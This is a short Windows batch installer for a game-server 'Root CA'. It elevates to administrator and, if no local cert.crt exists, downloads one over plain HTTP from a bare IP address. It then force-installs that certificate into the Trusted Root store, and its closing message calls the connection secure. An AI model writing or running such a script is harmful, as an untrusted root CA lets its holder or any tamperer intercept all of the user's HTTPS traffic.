@echo off
setlocal
echo ========================================================
echo        GTPS Node - Root CA Certificate Installer
echo ========================================================
echo.

:: Check Admin
net session >nul 2>&1
if %errorlevel% neq 0 (
    echo [!] Requesting administrator permissions...
    powershell -Command "Start-Process cmd.exe -ArgumentList '/c ""%~f0""' -Verb RunAs"
    exit /b
)

set "CERT_FILE=%~dp0cert.crt"
if not exist "%CERT_FILE%" (
    echo [!] cert.crt not found locally, downloading from server...
    powershell -Command "Invoke-WebRequest -Uri 'http://15.235.247.16/cert.crt' -OutFile '%CERT_FILE%'"
)

echo [*] Installing GTPS Node Root CA into Trusted Root Authorities store...
certutil -addstore -f "ROOT" "%CERT_FILE%"

if %errorlevel% equ 0 (
    echo.
    echo ========================================================
    echo  [SUCCESS] GTPS Node Root CA installed successfully!
    echo  You can now connect to the server securely.
    echo ========================================================
) else (
    echo.
    echo [ERROR] Installation failed. Please ensure you ran this as Administrator.
)
echo.
pause
